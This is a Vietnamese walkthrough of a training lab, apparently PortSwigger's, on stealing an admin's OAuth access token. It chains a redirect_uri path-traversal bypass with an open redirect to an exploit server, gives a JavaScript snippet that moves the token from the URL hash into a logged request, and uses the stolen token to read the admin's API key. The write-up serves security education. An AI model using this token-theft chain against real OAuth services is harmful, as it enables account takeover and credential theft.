Lab: Stealing OAuth access tokens via an open redirect
Last updated
Last updated
Phòng thí nghiệm này sử dụng dịch vụ để cho phép người dùng đăng nhập bằng tài khoản mạng xã hội của họ. Xác thực lỗi của dịch vụ OAuth khiến kẻ tấn công có thể rò rỉ access token vào các trang tùy ý trên ứng dụng khách hàng.
Người dùng quản trị sẽ mở bất kỳ thứ gì bạn gửi từ máy chủ khai thác và họ luôn có phiên hoạt động với dịch vụ OAuth.
Bạn có thể đăng nhập thông qua tài khoản mạng xã hội của mình bằng thông tin đăng nhập sau: wiener:peter
.
Mục tiêu: Xác định một open redirect trên trang web blog và sử dụng điều này để đánh cắp access token cho tài khoản người dùng quản trị va tìm API key của admin
Đăng nhập OAuth sử dụng tài khoản wiener. Quan sát trong HTTP history, có một API call tới userinfo endpoint tại /me
và dùng dữ liệu lấy được để đăng nhập
Đăng xuất và đăng nhập trở lại (sẽ không cần nhập thông tin đăng nhập nữa). Tìm GET /auth?client_id=[...]
request gần nhất và gửi đến Repeater. Thử thay đổi tham số redirect_uri bằng đường dẫn exploit server.
Không thành công, với thông báo lỗi có thể đoán rằng trang web sử dụng whilelist uri hợp lệ. Tuy nhiên khi thử duyệt thư mục với đường dẫn ban đầu bằng /../.. thì không có lỗi xảy ra
Đăng xuất và chặn bắt quá trình đăng nhập lại trong Burp. Thêm vào tham số redirect_uri trong GET /auth?client_id
request bằng /../post?postId=1
Forward các request còn lại và ta được chuyển hướng đến blog post đầu tiên
Từ trang này, có thể truy cập blog tiếp theo
Tương đương với Request GET /post/next?path=[...]
Thử nghiệm với tham số path
. Tham số này là một open redirect, có thể cung cấp một URL tuyệt đối như URL của exploit server. Khai thác lỗ hổng này để giải quyết bài lab.
Chặn bắt một quá trinh OAuth khác.
Dựa trên tham số redirect_uri ban đầu, có thể thêm vào nội dung sau tạo thành một URL độc hại: ../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit
URL này hoàn toàn hoạt động
<script>
window.location = '/?'+document.location.hash.substr(1)
</script>
Đoạn mã JavaScript này có tác dụng chuyển hướng trình duyệt người dùng đến một URL mới bằng cách lấy phần hash (đoạn sau dấu #
) từ URL hiện tại và thêm nó vào query string của trang mới.
Tạo đoạn mã này trên exploit server để/exploit
trích xuất. Store khai thác này và thử URL độc hại này trên trình duyệt. Qua Access log trên exploit
Giờ cần tạo một exploit buộc nạn nhận phải truy cập URL đọc hại này và thực thi tập lệnh vừa kiểm tra để đánh cắp access token của họ
Kiểm tra đoạn mã bằng "View exploit". Access log sẽ có thêm một request GET /?access_token=
Gửi exploit đến nạn nhân
Đảm bảo đã đăng xuất. Truy cập từ trang web đường dẫn /oauth-callback#access_token=... với GET /?access_token
vừa lấy được
Tìm đến request GET /me
trong HTTP history để tìm API key
Submit Solution